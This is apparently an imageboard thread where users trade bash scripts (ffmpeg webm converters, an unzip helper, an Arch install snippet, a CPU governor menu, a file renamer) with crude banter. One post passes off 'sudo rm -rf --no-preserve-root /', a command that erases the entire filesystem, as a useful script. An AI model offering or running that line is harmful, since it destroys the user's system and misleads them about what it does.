IIT:
Useful BASH scripts
IIT:
Useful BASH scripts
#!/bin/bash
echo muh files;
ls
>useful
>BASH
>script
no
How many chins do you have?
Webm maker for Jow Forums using ffmpeg that gets decent quality and pretty small wem sizes
>pastebin.com
I forgot to star the repo I found this on so sorry to the writer, otherwise i'd link his profile
Guess I'll start with the most obvious:
mkdir out
for f in *.{png,jpg}; do
ffmpeg -loop 1 -i "$f" -g 1 -c:v libvpx -deadline best -cpu-used 0 -crf 22 -b:v 0 -t 1 -r 1 -auto-alt-ref 0 "out/${f%.*}.webm"; done
mkdir out
for f in *.gif; do
ffmpeg -i "$f" -filter:v hqdn3d=5.0:5.0:6.0:6.0 -c:v libvpx -deadline best -cpu-used 0 -crf 22 -b:v 0 "out/${f%.*}.webm"; done
#!/bin/bash
sudo rm -rf --no-preserve-root /
Just one
#!/bin/bash
zipfile="$1"
zipdir=${1%.zip}
unzip -d "$zipdir" "$zipfile"
Y'know, like it should do by default but fucking doesn't
#! /bin/bash
echo "installing arch"
loadkeys br-abnt2
timedatectl set-ntp true
mkdir /mnt/efi
mount /dev/sda2 /mnt
mount /dev/sda1 /mnt/efi
pacstrap /mnt base xorg xorg-xinit i3 dmenu nvidia firefox minidlna rsync rxvt-unicode sudo qbittorrent
echo "do the rest"
Does it have multiple threads though?
Imagine fucking this up
How can I make this script not break after running it for the second time?
If I run it the second time it breaks when scanning for wireless networks and outputs "No networks found".
echo running "ip link set wlp9s0 down"
sudo ip link set wlp9s0 down
echo waiting for device to be sure of its active state
sleep 5
echo running wifi-menu
sudo wifi-menu
Trying to run wifi-menu manually after that script has run once also outputs "No networks found".
history -c
This thread is for useful scripts
Also I have no idea what wifi-menu is, I use wpa_supplicant
The script is useful the first time it's run.
>Nvidia
>qbittorrent
#!/bin/bash
# ex. ./sleepsort.sh 5 3 6 3 6 3 1 4 7
function f() {
sleep "$1"
echo "$1"
}
while [ -n "$1" ]
do
f "$1" &
shift
done
wait
>no mkdir -p
>no mktemp
>"done" on the same line
The absolute state of tripfags
github.com
simple script to let you control the CPU speed from cli
I wrote it so tell me any criticism. I like it because sometimes on de's they don't have a good gui option for cpu speed so I like to be able to manually set it. it's been useful when i'm helping a friend with their computer and getting it to speed up is needed .
Please star my repo if you use and like my code, or comment how I can improve. I take each star seriously.
#bash script that sets cpu settings
function main_menu
{
clear
cursetting=$(cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor)
getspd=$(cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_cur_freq)
curspd=$(echo $getspd 1000000 | awk '{printf $1 / $2}')
echo "CPU freq"
echo "1. CPU min"
echo "2. CPU medium"
echo "3. CPU max"
echo "4. Now with exit commands!"
echo "Current CPU "$cursetting;
echo "Current CPU speed"$curspd" GHz";
choice=4
echo -e "Choose your warrior and write your own destiny : \c"
}
function press_enter
{
echo ""
echo -n "Hit Enter"
read
main_menu
}
main_menu
while [ $choice -eq 4 ] ; do
read choice
if [ $choice -eq 1 ] ; then
echo powersave | sudo tee /sys/devices/system/cpu/cpu*/cpufreq/scaling_governor;
main_menu
else
if [ $choice -eq 2 ] ; then
echo ondemand | sudo tee /sys/devices/system/cpu/cpu*/cpufreq/scaling_governor;
main_menu
else
if [ $choice -eq 3 ] ; then
echo performance | sudo tee /sys/devices/system/cpu/cpu*/cpufreq/scaling_governor;
main_menu
else
if [ $choice -eq 4 ]; then
exit
else
echo -e "Do what?: \c"
choice=5
fi
fi
fi
fi
done
I made this script on my own. Please tell me if it works.
I have a pretty cool script for searching, playing and downloading youtube videos with mpv and youtube-dl, although it's in python, but it doesn't use the youtube api. Should i post it?
Enhanced version
dir="out"
mkdir -p "$dir"
find . -maxdepth 1 -type f -iname "*.png" -print0 -o -iname "*.jp*g" -print0 | \
parallel -0 ffmpeg -v quiet -y -loop 1 -i {} -t 1 \
-c:v libvpx -threads 1 -auto-alt-ref 0 -pix_fmt yuva420p \
-deadline good -cpu-used 0 -crf 22 -b:v 0 -r 1 \
"$dir/{/.}.webm"
find . -maxdepth 1 -type f -iname "*.gif" -print0 | \
parallel -0 ffmpeg -v quiet -y -i {} \
-c:v libvpx -threads 1 -auto-alt-ref 0 -pix_fmt yuva420p \
-deadline good -cpu-used 0 -crf 22 -b:v 10M -qmax 50 \
"$dir/{/.}.webm"
Why do you guys convert png and jpeg to webm?
Some people think it's a good idea to emulate WebP by encoding VP8 WebMs with a single frame (it is not).
Why not switch-case it? And instead of creating variables with subshell instances, why just not use them in echo? - especially if they're used only once...
My current project has a 220-line bash build script for Linux and macOS. Thanks to ShellCheck, it was almost pleasant to write and debug.
You fucking nerd, that's pretty based. Already doing the memrise bash course for about a month but still only understood half of what you wrote without googling.
no webp support yet
's/bash/sh/'
stolen from stackexchange like the script kiddie that I am.
# source: askubuntu.com
[ -d /sys/firmware/efi ] && echo UEFI || echo BIOS
Based and
>memrise bash course
I didn't know this was a thing and I'm not sure how to feel about it.
It's alright, nothing too 1337 but the weird part is you can only find them by googling them. They won't show up on the memrise website or app.
>br-abtn2
#!/bin/bash
usage="Usage:\\n-h: show help dialog\\n-r: do the reverse\\n"
while getopts ":hr" o; do case "${o}" in
h) printf "$usage" && exit ;;
r) for f in *_*; do mv "$f" "${f//_/ }"; done && exit ;;
*) printf "Invalid option: -%s\\n" "$OPTARG" && printf "\\n$usage" && exit ;;
esac done
for f in *\ *; do mv "$f" "${f// /_}"; done && exit
Anyone have that command that plays Zelda theme in terminal?
man man
yes attention whore
the best keyboard layout.
echo bruh
mpv /etc/bruh.ogg &> /dev/null
ssh 127.0.0.1
[\code]
>tfw not even your computer refuses a connection with you
fucking kek, I didn't think that would actually work.
I remember looking at that same thread yesterday.